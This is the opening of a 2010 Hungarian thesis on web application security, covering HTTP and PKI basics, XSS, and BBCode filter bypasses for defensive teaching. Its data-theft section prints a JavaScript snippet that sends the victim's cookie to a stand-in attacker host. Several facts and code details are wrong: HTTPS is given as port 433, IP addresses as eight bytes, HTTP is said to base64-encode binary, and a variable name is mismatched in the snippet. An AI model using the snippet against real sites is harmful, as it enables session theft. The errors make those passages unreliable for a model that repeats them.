You are on page 1of 65

Eötvös Loránd Tudományegyetem

Informatikai Kar

Média- és Oktatásinformatikai Tanszék

Web-alkalmazások biztonsága

Györkő Péter
Abonyi-Tóth Andor
nappali tagozat, programtervező
egyetemi tanársegéd, PhD hallgató
matematikus

Budapest, 2010
Tartalomjegyzék
1. Bevezetés............................................................................................................................5

2. Technikai alapfogalmak......................................................................................................7

2.1. Alapfogalmak...........................................................................................................7

2.2. A böngésző működése..............................................................................................8

2.3. Névszerverek............................................................................................................9

2.4. HTTP (Hypertext Transfer Protocol).....................................................................10

2.4.1. HTTP „süti” (cookie)...................................................................................11

2.4.2. Keepalive.....................................................................................................11

2.5. JavaScript...............................................................................................................12

2.5.1. Same origin policy.......................................................................................12

2.6. Hypertext Transfer Protocol Secure (HTTPS).......................................................14

2.7. Publikus Kulcs Infrastruktúra (Public Key Infrastructure)....................................14

2.7.1. Tanúsítvány kiadók (Certification Authority)..............................................15

2.8. PKI működése a HTTPS-t használó web-kiszolgálók esetében............................16

2.9. Kliens-oldali tanúsítványok...................................................................................16

3. Támadások........................................................................................................................17

3.1. XSS (Cross-site scripting) [56]..............................................................................17

3.1.1. Nem perzisztens (Non-persistent or reflected) XSS....................................17

3.1.2. Perzisztens vagy tárolt XSS (Persistent or stored XSS)..............................20

3.2. BBCode-ok és perzisztens XSS.............................................................................21


3.3. Visszaélés az XSS-sel.............................................................................................24

3.3.1. Adatlopás......................................................................................................24

3.3.2. Áldozat nevében történő cselekvés..............................................................26

3.3.3. XSS Wormok...............................................................................................27

3.3.4. Böngésző exploit..........................................................................................28

3.4. Karakterkódolásos XSS.........................................................................................28

3.5. Speciális karakterek használata a JavaScriptben....................................................29

3.6. Kliens-oldali kódinjektálás (Client-side code injection)........................................30

3.7. Külső JavaSript fájl betöltése.................................................................................33

3.8. Cross Site Script Inclusion (XSSI).........................................................................34

3.9. XSRF (Cross-site request forgery).........................................................................39

3.10. SQL injektálás (SQL injection)............................................................................41

3.11. Path or directory traversal....................................................................................45

3.12. PHP include sebezhetőség....................................................................................46

3.13. A feltöltött fájlok veszélyei..................................................................................48

3.14. Előzmények stíluslapokból..................................................................................51

3.15. DNS gyorsítótár mérgezés (DNS cache poisoning).............................................53

4. Demonstrációs program....................................................................................................57

4.1. Felhasználói dokumentáció....................................................................................57

4.2. Fejlesztői dokumentáció.........................................................................................58

5. Összegzés.........................................................................................................................59
6. Hivatkozások....................................................................................................................61
1. Bevezetés

Az internetet használók száma folyamatosan nő. Míg 2000 márciusában mindössze


304 millió felhasználó érte el a világhálót, addig ez a szám 2009 decemberére 1802 millióra
nőtt [1], vagyis a Föld lakosságának több mint egynegyede rendelkezik internet-
hozzáféréssel. Ezzel a növekedéssel párhuzamosan a világháló nyújtotta lehetőségek
tárháza is bővül. Napjainkban egyre jellemzőbb, hogy a legtöbb általunk használt
alkalmazást - melynek futtatásához korábban különböző szoftverek használatára volt
szükség - kiválthatunk egy a weben, a böngészőben fellelhető alternatívával. Ez sok
szempontból egyszerűbbé teszi a felhasználók életét, hisz nincs szükségük arra, hogy
telepítsék, frissítsék és karbantartsák az általuk használt programokat, mindössze egy web-
lap címét és a hozzá tartozó felhasználói fiókjukat kell ismerniük. Ennek birtokában bárhol
és bármikor hozzáférhetnek az alkalmazás által tárolt információkhoz, illetve mentesülnek a
biztonsági mentések készítésének nehézségeitől is, ami nagy kényelmet és szabadságot
jelent számukra. A fentiekben ismertetett megoldást a szakirodalom cloud computingnak [2]
nevezi.

A felhasználó számára nyújtotta lehetőségek azonban felvetnek bizonyos biztonsági


és titoktartási kérdéseket, hisz ezen alkalmazások egy távoli szerveren futnak, felhasználva
a személyes adataikat. Amennyiben ezek rossz kezekbe kerülnek, sérülhetnek személyiségi
jogaink, illetve visszaélésekre adnak lehetőséget.

Ilyen alkalmazás lehet egy közösségi oldal (social network) [3] által nyújtott
szolgáltatás, egy dokumentumszerkesztő, vagy akár egy interneten használható online banki
szolgáltatás, esetleg egy web-áruház. Ebből következően nem csak a személyes adatok
védelme, de az anyagi javak biztonságos kezelése is ezen szolgáltatások feladata.

5
Jelen diplomamunka célja, hogy segítséget nyújtson az ilyen rendszereket tervezők
számára, hogy az irányelveket betartva megbízható és minőségi szoftvert készíthessenek.
Mindezekhez azonban szükség van arra, hogy ismerjük az internet adta lehetőségeket,
kihívásokat és a támadási módszereket, hiszen ezek nélkül nem vagyunk képesek
megvédeni a szolgáltatást az illetéktelen hozzáféréstől.

A továbbiakban bemutatott módszerek és támadások azt a célt szolgálják, hogy


jobban megértsük a web-alkalmazásokat [4] érintő sebezhetőségek elvét, módszertanát,
ezzel segítve a hatékonyabb védekezést ellenük.

Mivel a témában fellelhető szakirodalom nagyobbrészt angol nyelvű, így a mélyebb


tájékoztatás kedvéért zárójelben közlöm a kifejezések angol nyelvű megfelelőjét.
Diplomamunkám írásakor arra törekedtem, hogy ahol csak tehetem, magyar kifejezéseket
használjak a fogalmak megjelölésére, erre azonban magyar szakszavak hiányában
esetenként nem volt lehetőségem. Ahogy az a későbbiekben látható lesz, ezeken a helyeken
igyekeztem találó magyar kifejezések hiányában körülírni az adott jelenséget, és csak ezt
követően közölni a széles körben elterjedt és elfogadott angol szakszót.

A még jobb érthetőség és a téma iránt mélyebben érdeklődők kedvéért számos


hivatkozással láttam el diplomamunkám, így az Olvasó az esetlegesen felmerülő további
kérdéseire könnyedén választ kaphat ezek segítségével.

6
2. Technikai alapfogalmak

A továbbiakban az OSI modell (Open System Interconnection Reference Model) [5]


szerinti Alkalmazás réteggel (Application layer) [6] kívánok foglalkozni, az ez alatti
rétegeket érintő támadások túlmutatnak jelen diplomamunka keretein.

2.1. Alapfogalmak

Ahhoz, hogy a biztonsági kérdéseket tisztázni tudjuk, szükség van arra, hogy az
alapvető fogalmakat ismerjük a weben futtatott alkalmazások működése kapcsán. Az
alábbiakban ezen fogalmakat ismertetem.

A weben futó alkalmazások a klasszikus kliens-szerver modell (client-server model)


[7] alapján épülnek fel:

− Kliens-oldal: A felhasználó böngészőjében, vagy annak egy beépülő moduljában


(pl.: Adobe Flash Player [8], Microsoft Silverlight [9]) fut az alkalmazás e része.
Elsődleges célja, hogy – általában grafikus - felületet biztosítson a felhasználó és a
szolgáltatás között. Megjegyezendő, hogy napjainkban szerepe egyre fontosabbá
válik, hiszen a program egyre nagyobb része fut a böngészőben, mely lehetővé teszi
a gyorsabb, látványosabb és interaktívabb alkalmazások készítését. Ezeket vastag
klienseknek (fat or thick client) [10] hívjuk, melyek akár hardveres gyorsítással
(hardware acceleration) [11] támogatott 3 dimenziós megjelenítésre is képesek
lehetnek, mint például a Google által fejlesztett O3D API [12].

7
− Szerver-oldal: A fejlesztő által üzemeltetett és karban tartott web-szerveren [13]
futó kód, mely a legtöbb esetben egy relációs adatbázishoz (relational database)
[14] is hozzáfér. Ennek a biztonsága kulcsfontosságú, hiszen ha egy támadó
hozzáfér az itt tárolt adatokhoz, akkor akár az összes felhasználóról is megszerezheti
a személyes információkat.

Jelentős különbség a kliens és szerver oldal között, hogy míg a program szerver
oldali része az üzemeltető gépén – változtatás nélkül – fut, addig a kliens-oldali részt egy
rosszindulatú támadó képes megváltoztatni, ezáltal olyan adatokat továbbítva a szervernek,
melyek normál működés mellett nem fordulhatnának elő. A szervernek ezért alkalmasnak
kell lennie arra, hogy az ilyen érvénytelen adatok (invalid data) esetén is – a lehetőségekhez
képest – megfelelően működjön, és semmilyen körülmények között se nyújtson olyan
szolgáltatást, amelyhez a kliensnek nincs jogosultsága.

2.2. A böngésző működése

Ebben a fejezetben azt ismertetem, milyen háttérben zajló folyamatok szükségesek


ahhoz, hogy böngésző (browser) [15] címsorába beírt web-címhez tartozó oldal
megjelenhessen. Ennek a részletes ismerete elengedhetetlen ahhoz, hogy megfelelő
minőségű szoftvert tudjunk tervezni.

A böngésző először a kapott URL (Uniform Resource Locator) [16] alapján


meghatározza a kért domain nevet [17]. Ezután a névszerverekhez (Domain Dame System)
[18] fordul, hogy megtudja a domain-hez tartozó számítógép IP-címét (Internet Protocol-
cím) [19]. Ez a cím egy 32 bites egész szám, amelyeket hagyományosan négy darab egy
byte-os, azaz 0 és 255 közé eső, ponttal elválasztott decimális számmal írunk le a könnyebb
olvashatóság kedvéért (pl.: 192.168.42.1).

8
Az IP-cím egyértelműen azonosítja a célgépet, így az azon futó web-szervernek
elküldhetjük a kérdéses web-oldal címét, a később ismertetett HTTP protokoll segítségével.
Ezután a szerveroldalon futó alkalmazás legenerálja számunkra az oldal HTML (HyperText
Markup Language) [20] forrását, melyet a böngészőnk értelmez, majd megjeleníti a kért
web-lapot. Sok esetben a HTML forrás tartalmaz néhány külső hivatkozást képekre,
beágyazott videókra, stíluslapokra (Cascading Style Sheets) [21], JavaScript fájlra,
melyekre szintén szükség van a web-oldal megjelenítéséhez.

2.3. Névszerverek

A névszerverek feladata, hogy biztosítsák a domain címek 8 bájtos IP-címekhez való


hozzárendelését. Mindehhez egy hierarchikus rendszert vezettek be, melynek a legfelső
rétege (Top-Level-Domain) [22] a domain cím legjobboldalibb részének feloldásáért felel.
Erre az infrastruktúrára azért van szükség, mert a felhasználók számára az IP címek ugyan-
olyan nehezen jegyezhetőek meg, mint a telefonszámok. Ezt a problémát hidalja át a
névszerver azzal, hogy tartalmaz egy adatbázist, melyben az általa ismert domain nevekhez
tartozó IP-címeket tartja nyilván. Amikor egy kérés érkezik hozzá, ellenőrzi, hogy szerepel-
e ebben az adatbázisban a kérdéses domain. Ha igen, akkor visszaküldi azt, ellenkező
esetben megkérdezi a felette álló névszervert, majd továbbítja az információt.

A megoldás biztonsági szempontból legkifogásolhatóbb pontja, hogy amikor egy


névszerver megad egy IP-címet, akkor semmilyen módon nem hitelesíti magát, így a
támadónak lehetősége van arra, hogy hibás címre navigálja a potenciális áldozatot. Erre a
problémára próbál megoldást adni a biztonsági kiegészítés (Domain Name System Security
Extensions) [23], ami a későbbiekben ismertetett publikus kulcsú infrastruktúrát használja,
mely során a DNS szerver digitálisan aláírja a válaszát.

9
2.4. HTTP (Hypertext Transfer Protocol)

A kliens és szerver kommunikációja a legtöbb esetben HTTP [24] (RFC 2616) vagy
HTTPS (Hypertext Transfer Protocol Secure) [25] protokollon keresztül történik, a 80-as
vagy a 433-as port felhasználásával. Ez lehetőséget biztosít a szöveg alapú adatok (pl.:
HTML, CSS), illetve a bináris adatok [26] (pl.: álló- és mozgóképek) mindkét irányba
történő továbbítására. Ez utóbbi úgy valósul meg, hogy az adatokat először base64 [27]
formátumúra kódolja, melynek hatására csak olvasható karaktereket (printable characters)
[28] fog tartalmazni, ezért a HTTP protokoll az ember számára is könnyen olvasható
(human readable) [29]. Ennek a módszernek a hátránya, hogy ilyen esetben a küldendő adat
mérete 33%-kal megnő, mely többletköltséget jelenthet a küldő és a hálózat számára.

A protokoll a nyugtákat (acknowledgement) tartalmazó TCP (Transmission Control


Protocol) [30] kapcsolatra épül, vagyis értesülhetünk róla, ha egy kapcsolat létrehozása
nem sikerült. Az SMTP-hez (Simple Mail Transfer Protocol) [31] (RFC 821) hasonló
módon a fejlécben szintén kulcs-érték párok (key-value pairs) szerepelnek, melyek között
kettőspont található, a párokat pedig sorvége (<LF>, Line Feed) [32] határolja. Ennek a
végét egy „kocsi vissza” (<CR>, Carrage Return) [33] és egy sorvége karakter jelzi, melyet
a válasz törzse (response body) követ.

A HTTP rendelkezik előre definiált állapot azonosítókkal is (status code) [34],


melyek a könnyebb feldolgozhatóságot segítik. Ezek közül a leggyakrabban használtak a
következők:

− 200 OK – A kérés sikeresen lefutott

− 301 Moved Permanently – A kért URL megváltozott

− 400 Bad Request – A kérés szintaktikai hibát tartalmazott

− 404 Not found – A kért URL nem található

10
− 500 Internal Server Error – A szerveren belső hiba történt

− 530 User access denied – Hozzáférés megtagadva

2.4.1. HTTP „süti” (cookie)

A HTTP protokoll nem képes két különböző kérésről eldönteni, hogy azok azonos
felhasználótól érkeztek-e. A gyakorlatban azonban sokszor szükség van arra, hogy egy
felhasználó állapotát és munkamenetét követni tudjuk. Erre szolgál megoldásként a HTTP
süti [35].

A sütik egy adott domain-hez tartozó, karakterlánc (string) alapú kulcs-érték párok
(key-value pairs). Amennyiben egy ilyen sütit beállít a szerver, akkor azt – annak lejárati
idejéig – a böngésző minden egyes HTTP kérés során visszaküldi a kiszolgálónak, ezzel
lehetővé téve a felhasználó azonosítását. Fontos megjegyezni, hogy a sütik küldése
kizárólag a célgép domain-jétől függ, és az nem befolyásolja, hogy a kérés honnan érkezett.

2.4.2. Keepalive

A kapcsolatot minden esetben a kliens kezdeményezi, mely azt jelenti, hogyha a


szerver szeretne valamilyen új információt megosztani a klienssel, akkor meg kell várnia,
míg a kliens kapcsolatot kezdeményez vele. Erre szolgál egy lehetséges megoldásként a
Keepalive [36] (RFC 1132) technológia. Ezt használva lehetőségünk nyílik arra, hogy egy
kiépült kapcsolatot hosszabb ideig is fenntartsunk a kliens és a szerver között. Ez azokban
az esetekben lehet fontos, amikor egy kliens-oldali alkalmazásnak szükséges, hogy egy
szerveren lévő adatot azonnal megkapjon, mint pl. az azonnali üzenetküldő alkalmazások
(instant messaging) [37] esetében. Ezt a HTTP fejlécbe tett alábbi kulcs-érték párral jelzik:

11
Connection: Keep-Alive

2.5. JavaScript

A JavaScript [38] a Java szintaktikáján alapuló, a böngésző által értelmezett és


feldolgozott programozási nyelv. Előnye, hogy a többi script nyelvhez hasonlóan nem
tartalmaz szigorú megkötéseket a típusokra nézve. Mivel magas szintű, így lehetővé teszi a
gyors és hatékony alkalmazásfejlesztést.

Egy JavaScript program lehet egy külön fájlban, vagy akár magában a HTML
forrásban is. Képes írni és olvasni a HTML-t, sütiket, címsort és a státuszbárt (status bar)
[39], valamint lehetőséget biztosít bizonyos rendszerhívásokra (system call) [40] is.

2.5.1. Same origin policy

Ahhoz, hogy megértsük a későbbiekben ismertetett támadási módszereket, tisztában


kell lennünk azzal, hogy a böngésző milyen módon próbálja biztosítani a felhasználók
védelmét.

A böngészők egyik legfontosabb alapelve, hogy egy web-oldalról letöltött és


interpretált JavaScript kód csak a saját domain-jéhez tartozó böngésző sütiket és HTML
dokumentumot (HTML-DOM) [41] tudja írni és olvasni, függetlenül attól, hány
böngészőablak vagy böngészőfül (tab) van nyitva egy időben. Ezek bizonyos esetben (pl.:
Google Chrome [42]) egy-egy külön szeparált környezetben (sandbox) futnak, ezzel
növelve a biztonságot.

12
Ehhez hasonlóan, egy domain-en futó JavaScript sem intézhet egy másik domain-
hez távoli kérést (RPC, Remote Procedure Call) [43]. Amennyiben ilyennel próbálkozunk,
a böngésző kivételt (exception) [44] fog dobni.

A JavaScript forráskód nem csak HTML-be ágyazva képezheti az oldal részét,


hanem külső hivatkozás is mutathat rá:

<head>
<script type="text/javascript">
// Ez egy HTML-be ágyazott JavaScript
alert("Helló Világ!");
</script>
<!-- Ez pedig egy külső JavaScript fájl -->
<script type="text/javascript"
src="http://masik.domain.hu/kulso.js">
</script>
</head>

Azt gondolhatnánk, hogy a fenti példában szereplő kulso.js fájlban lévő funkció
nem fér hozzá az aktuális DOM-hoz, de ez nem így van. Minden JavaScript annak a
domain-nek a jogosultságával fut, ami őt beágyazta, függetlenül attól, hogy milyen domain-
ről származik.

13
2.6. Hypertext Transfer Protocol Secure (HTTPS)

A HTTPS alapvető feladata, hogy egy biztonságos csatornát képezzen egy nem
biztonságos hálózat felett. Célja, hogy lehetetlenné tegye az adatok lehallgatását
(eavesdropping) [45], a harmadik fél által módosított adatokból fakadó támadásokat (man-
in-the-middle attack) [46], illetve a visszajátszás alapú (replay attack) [47] visszaéléseket.

Ezt úgy éri el, hogy felhasználja az SSL/TLS (Secure Socket Layer/Transport Layer
Security) [48] kriptográfiai eljárást, mely az RSA (Rivest, Shamir and Adleman) [49] 1024
és 2048 bites változatára épül. Ez lehetőséget biztosít arra, hogy a PKI (Public Key
Infrasctructure) [50] rendszert használva X.509 tanúsítvánnyal (certificate) [51] alá tudja
írni az adatokat a szerver, ezzel hitelesítve önmagát a kommunikációs partnere számára.
Ezen felül az SSL lehetővé teszi azt is, hogy a hálózati forgalmat se lehallgatni, se
módosítani ne lehessen a felek tudta nélkül.

További fontos információ, hogy amennyiben a kapcsolat kiépülésekor Diffie-


Hellman kulcscserét (Diffie-Hellman key exchange) [52] alkalmazunk, úgy a lehallgatott
forgalom visszafejtése még a privát kulcsok kompromittálódása után sem lehetséges. Ez azt
jelenti, hogyha egy biztonságos kapcsolatot használó web-szerver privát kulcsa illetéktelen
kezekbe kerül, akkor sem fejthetők vissza a kapcsolaton átmenő jelszavak és személyes
adatok.

2.7. Publikus Kulcs Infrastruktúra (Public Key Infrastructure)

Célja, hogy egy központi rendszert szolgáltasson a digitális aláírások tárolásának,


kiadásának és ellenőrzésének. Erre azért van szükség, hogy biztosak lehessünk abban, hogy
a böngésző által kapott adatokat valóban a kérdéses web-oldalt kiszolgáló szerver küldte el
számunkra. A folyamat megértéséhez tisztában kell lennünk a benne részt vevő
szereplőkkel, melyek közül kiemelném a legfontosabbakat, a tanúsítvány kiadókat.
14
2.7.1. Tanúsítvány kiadók (Certification Authority)

A tanúsítvány kiadók [53] (továbbiakban CA) a publikus kulcsú infrastruktúra


alapját képezik. Feladatuk az alábbi négy alapfunkcionalitást foglalja magában:

− Tanúsítványokat állítanak ki az általuk megbízható szervezetekről, illetve más CA-


król

− Nyilvántartják a tanúsítványok állapotát és tanúsítvány visszavonási listákat


készítenek (certificate revocation list) [54], melyek egyfajta feketelistaként
funkcionálnak

− Nyilvánosságra hozzák az érvényes tanúsítványokat, valamint a visszavonási


listákat

− Státuszinformációs adatbázist tartanak fenn az általuk kiadott, de már nem érvényes


tanúsítványokról

Tanúsítványt egy felhasználó, egy szervezet, vagy akár egy másik CA számára is
kiállíthatnak. Ebben az esetben igazolják azt, hogy a tanúsítvány alanya (személy, szervezet
vagy alkalmazás) rendelkezik a tanúsítvány publikus kulcsához tartozó privát kulccsal.
Amennyiben az alany egy másik CA, akkor az igazolás azt jelenti, hogy a másik
tanúsítványkiadó szervezet által kiadott tanúsítványok is megbízhatóak.

A nyilvánosságra hozott érvényes tanúsítványokat tartalmazó, valamint a visszavont


tanúsítványokat tartalmazó listákat a CA a saját privát kulcsával írja alá.

15
2.8. PKI működése a HTTPS-t használó web-kiszolgálók esetében

Amikor a böngésző címsorába beírunk egy https:// kezdetű címet, akkor az


megpróbál a névből – a DNS segítségével - kiderített IP-hez tartozó 443-as portra
kapcsolódni. Ekkor a szervernek kötelessége megmutatni egy olyan tanúsítványt, ami ahhoz
a domain-hez rendelt, és egy CA által aláírt. Ezután a böngésző ellenőrzi, hogy ez a CA
megegyezik-e azzal, aminek a publikus kulcsa szerepel a belső adatbázisában. Amennyiben
nem, úgy lekérdezi a kapott CA-t hitelesítő CA címét, és rekurzívan folytatja az eljárást.
Ezzel véges sok lépésben el kell jutnia egy olyan CA-hoz, aminek ismeri a publikus kulcsát,
ellenkező esetben nem bízhat meg a kapott tanúsítvány hitelességében, melyről egy hiba
üzenetben tájékoztatja a felhasználót.

Ennek a procedúrának a célja az, hogyha egy rosszindulatú támadó elfogja az


áldozat által küldött kéréseket, akkor nem tud úgy viselkedni, mintha ő lenne a szerver,
hiszen nem tudja aláírni megfelelő tanúsítvánnyal a válaszait.

2.9. Kliens-oldali tanúsítványok

A PKI rendszer kliens-oldali autentikációhoz is használható, mely segítségével


korlátozhatjuk a felhasználók különböző tartalmakhoz való hozzáférését. Ebből a célból
általában a rendszer-adminisztrátorok készítenek egy tanúsítványt minden egyes
felhasználónak, melyet importálniuk kell a böngészőjükbe. Ez tartalmazza a nevüket és az
e-mail címüket, így a szerver minden egyes szerverhez intézett kérés esetén ellenőrizheti a
felhasználó identitását anélkül, hogy a felhasználónak meg kellene adnia a jelszavát, vagy
egyéb módon igazolnia kéne magát.

16
3. Támadások

Ezen fejezet a teljesség igénye nélkül mutat be olyan támadási módszereket, melyek
alkalmasak a valós környezetben történő alkalmazásra. Fontos kiemelni, hogy a felsorolt
megoldások ismertetésének célja, hogy hatékonyabban tudjunk a támadásokkal szemben
védekezni.

A bemutatott kliens-oldali forráskódok JavaScript, a szerver oldaliak PHP (PHP


Hypertext Preprocessor) [55] nyelven íródtak, de természetesen egyéb nyelvekre is
könnyedén adaptálhatóak.

3.1. XSS (Cross-site scripting) [56]

Napjaink talán legismertebb kliens-oldali támadása. A működése nagyon egyszerű: a


támadó eléri azt, hogy az áldozat böngészője értelmezzen egy általa írt programkódot, mely
segítségével ellophatja a felhasználói fiókját, vagy megszerezhet tőle személyes adatokat.

3.1.1. Nem perzisztens (Non-persistent or reflected) XSS

Ezen sebezhetőség akkor használható ki, amikor a szerver-oldal a HTTP kérésben


kapott paramétereket – módosítás nélkül – felhasználja a válaszként küldött web-oldal
legenerálása során. Mivel az ilyen adatok a felhasználótól érkeznek GET vagy POST
metódus segítségével, így szükség van ezek ellenőrzésére és tisztítására (sanitize).

17
Mivel a HTML nyelv a tartalmon kívül bizonyos formázásokat és eseménykezelést
is tartalmaz, ezért a nem megfelelően ellenőrzött, a támadótól érkező adatok a web-oldal
részévé is válhatnak. Erre a leghétköznapibb példa egy keresőmotor: amikor a felhasználó
próbál megtalálni egy kifejezést, akkor a találatokat tartalmazó lista tetején szerepel a
keresett kifejezés. Ha ebből a szövegrészből nincs megfelelően eltávolítva az összes HTML
vezérlőkarakter, akkor nem perzisztens XSS sebezhetőségről beszélhetünk.

Ez a típus a kevésbé veszélyes hibák közé sorolható, ám mindezek ellenére elég


komoly kockázatot rejt, melyet az alábbi példa szemléltet:

A támadó küld egy levelet a potenciális áldozatnak, melybe az alábbi hivatkozást


helyezi el:

http://www.pelda.hu/?keres=<script>alert(42);</script>

Tegyük fel, hogy a pelda.hu amennyiben keres kulcsú GET paramétert kap, úgy
megjeleníti a keresendő kifejezést, majd a találatokat. Ennek a funkciónak a szerver-oldali
része az alábbiak szerint néz ki:

if (isset($_GET['keres']))
{
// Jelenítsük meg a keresett kifejezést a
találati lista tetején
print "Keresett tartalom: " . $_GET['keres'] .
"<br/>";
...
}

18
Abban az esetben, ha a potenciális áldozat elnavigál a kapott linkre, akkor a
böngészője a következő HTML forrást fogja értelmezni:

Keresett tartalom: <script>alert(42);</script>

Ez tartalmaz egy <script> elemet, mely tartalmát a böngésző JavaScript


forráskódként értelmez, és végrehajtja azt. Ennek eredményeképpen egy új
dialógusablakban megjelenik a 42-es szám:

1. ábra: Dialógusablakban megjelenő üzenet

A nem perzisztens XSS-sel szemben legkönnyebben úgy védekezhetünk, ha minden


külső adatot megfelelően szűrünk (validation) [57], vagyis bizonyos karaktereket nem
engedünk meg benne. Ennek a hátránya, hogy így bizonyos – nem rossz-szándékú –
speciális kereső-kifejezések elveszhetnek, ezzel a felhasználói élmény (user experience)
[58] csökkenhet.

Némileg jobb megoldás, ha azokat a karaktereket, melyek problémát okozhatnak,


egyszerűen lecseréljük a HTML-es megfelelőjükre. Ennek előnye, hogy nincsenek
korlátozva a felhasználó által alkalmazható karakterek, mégsem képes kód futtatására a
támadó. Ezt PHP használata esetében legegyszerűbben a htmlentities() [59]
függvény segítségével tehetjük meg.

19
A következő táblázat a lecserélendő karaktereket írja le:

Lecserélendő karakter HTML megfelelője

< &lt;

> &gt;

& &amp;

” &quot;

' &#039;

3.1.2. Perzisztens vagy tárolt XSS (Persistent or stored XSS)

A perzisztens vagy tárolt (stored) XSS esetében a támadónak nincs szüksége arra,
hogy rávegye a potenciális áldozatot egy speciálisan preparált web-cím megnyitására,
elegendő egy sebezhető web-oldalt találnia. A módszer alapötlete, hogy rosszindulatú
JavaScript forráskódot juttassunk be a szerverre, és elérjük, hogy ezt adja ki a web-oldalra
látogató felhasználóknak. Ebben az esetben akár az összes látogató érintett lehet, sőt, a
rosszindulatú kód ezáltal tovább is terjesztheti önmagát. Erről részletesebben a wormokról
szóló fejezetben (lásd: 3.3.3 XSS Wormok) írok.

Az ilyen típusú sebezhetőségre általában olyan funkciók esetében van lehetőség,


melyekben a felhasználók közölhetnek egymással információkat, mint például egy blog
(web log) kommentárjainál, vagy egy fórum illetve egy vendégkönyv hozzászólásainál.
Amennyiben a beírt szöveg nincs megfelelően szűrve, úgy a támadó könnyen létrehozhat
olyan bejegyzést, mellyel az összes kommentárt olvasó felhasználót megfertőzheti.

Lássunk egy ilyen hozzászólást:

20
Teszt hozzászólás
<script type="text/javascript">alert(42);</script>

Ennek eredménye, hogy – a korábbiakhoz hasonlóan – egy felugró dialógusablak


lesz az olvasó gépén. Ez a típusú biztonsági hiba azért veszélyesebb a korábban bemutatott
nem perzisztens XSS-nél, mert nem igényel az áldozattól semmilyen interakciót, így
tulajdonképpen észrevehetetlen a felhasználó számára.

Védekezni ellene csak a szerver-oldalon lehet a – előzőekben ismertetett – speciális


karakterek kicserélésével.

3.2. BBCode-ok és perzisztens XSS

Néhány web-oldal speciális formázási lehetőségeket biztosít a hozzászólóknak,


mellyel bizonyos alapvető módosításokat lehet a beírt szövegen elvégezni. Ezek
segítségével a felhasználó készíthet linkeket, beágyazhat képeket vagy videókat, illetve
lehetősége van arra is, hogy a szövegen néhány alapvető formázást elvégezzen. Ezen
funkciók használatához mindössze arra van szükség, hogy néhány előre meghatározott
speciális jelzést használjon, melyeket BBCode-nak [60] hívnak. A web-oldalt működtető
motor – általában a megjelenítéskor – lecseréli ezeket a jeleket a megfelelő HTML
elemekre. Természetesen HTML vezérlő karaktereket (<, >, &, ', ”) – a korábban ismertetett
módon – átalakítja HTML entitásokra (HTML entity), így védve meg az oldalt a nem
kívánatos kódtól.

Egy felkészültebb támadó sok esetben ezt is képes megkerülni, amennyiben a


funkció nincs megfelelően implementálva.

Tételezzük fel, hogy engedélyezett a felhasználó számára, hogy az alábbi szintaktika


segítségével linkeket ágyazzon a hozzászólásába:

21
[url=http://www.pelda.hu]Példa[/url]

Miután a motor átalakítja ezt HTML formátumúra, az alábbi hivatkozás fog


szerepelni a hozzászólásában:

<a href="http://www.pelda.hu">Példa</a>

Ha a támadó máshogy paraméterezi fel a hivatkozást, akkor azzal képes lehet


bizonyos – az XSS-hez nagyon hasonló – támadást végrehajtani:

[url=javascript:alert(42)]Példa[/url]

Ha nincs letiltva a „javascript:” prefix, akkor egy olyan linket kapunk, melyre
kattintva lefut a beágyazott JavaScript, és felugrik az ablak:

<a href="javascript:alert(42)">Példa</a>

Tételezzük fel, hogy prefix alapján szűrtek a hivatkozások. Ilyen esetben a támadó
megpróbálkozhat az alábbival:

[url=#" onclick="alert(42);]Példa[/url]

A HTML forrás ilyenkor egy úgynevezett „inline” eseménykezelőt tartalmaz. Ez azt


jelenti, hogy amikor egy potenciális áldozat rákattint a linkre, akkor abban definiált
onclick esemény kerül végrehajtásra:

22
<a href="#" onclick="alert(42);">Példa</a>

Néha azzal kerülhető meg a védelem, hogy a támadó megfelelő módon egymásba
ágyaz BBCode-okat, hogy azok egymást semlegesítsék:

[url=#[url= onclick=alert(42) ]dummy[/url]]Példa[/url]

Ennek eredményeképpen ugyan hibákat fog tartalmazni a HTML forrás, de a


böngészők mindezek ellenére értelmezni fogják az onclick eseményt:

<a href="#<a href=" onclick=alert(42)


">dummy</a>">Példa</a>

Ilyen jellegű támadások ellen egy kellő körültekintéssel implementált BBCode


értelmezővel tudunk védekezni. Linkek esetében az egyik leghatásosabb megoldás, ha egy
megfelelő reguláris kifejezéssel validáljuk az URL-t, így elkerülhetjük a nemkívánatos
JavaScript utasításokat.

23
3.3. Visszaélés az XSS-sel

A korábbi példákban azzal szembesülhettünk, hogy a nem megfelelően felkészített


webes alkalmazások esetében lehetőség van arra, hogy a támadó az áldozat gépére egy
JavaScript kódot juttasson. Eddig azonban semmi kára nem származott belőle, csak
megjelent egy szöveget tartalmazó ablak. Természetesen egy valódi támadó ennyivel nem
éri be. Az ő célja, hogy adatot lopjon, hátsó kaput (backdoor) [61] nyisson a gyanútlan
felhasználó számítógépén, vagy rávegye az áldozatot olyan tevékenységre, amit
önszántából nem tenne meg.

3.3.1. Adatlopás

Az adatlopás során a támadó célja, hogy ellopja az áldozat identitását (felhasználói


fiókját), vagy olyan adatot, melyet megadott a regisztráció során, ám az nem látható mások
számára. Ilyen érzékeny adat (sensitive data) lehet a telefonszáma vagy levelezési címe.

Bizonyos web-lapok tartalmaznak „elfelejtett jelszó” funkciót, mely során a


felhasználónak egy korábban beállított biztonsági kérdésre kell válaszolnia ahhoz, hogy
megváltoztathassa a jelszavát. Ha a támadó képes ellopni az ehhez tartozó választ, akkor
ennek birtokában képes belépni a potenciális áldozat nevében, amely visszaélésekre ad
lehetőséget.

Úgy működik, hogy a támadó egy olyan programot futtat az áldozat böngészőjében,
mely az áldozat tudtán kívül elküldi neki a kért információt. Erre lehet alkalmas egy az
alábbihoz hasonló kódrészlet:

24
// Létrehozunk egy új kép objektumot azért, mert arra
// nem érvényes a Same origin policy
var img = new Image();
// A kép elérési útvonalába GET paraméterként
// beletesszük az ellopni kívánt adatot
image.src = "http://www.tamado.hu?cookie=" +
document.cookie;

Vizsgáljuk meg részletesebben, hogy mire miért van szükség a fenti példában. A
támadó célja, hogy megszerezze az áldozat munkamenet-azonosítóját (session ID) [62],
mely segítségével – amennyiben a szerver nem ellenőrzi az IP-cím egyezését – be tud lépni
az áldozat nevében. De miért van szükség az Image (kép) létrehozására? Ennek
megértéséhez tisztában kell lennünk azzal, hogy a JavaScript miként kezeli a domain-ekhez
kötött jogosultságokat (ld.: 2.5.1 Same origin policy). Ez azt határozza meg, hogy egy adott
domain-en futó programrészlet csak a saját domain-jéhez intézhet távoli kéréseket, vagyis
látszólag a támadó hiába szerzi meg az információt, nem képes azt eljuttatni a saját gépére.
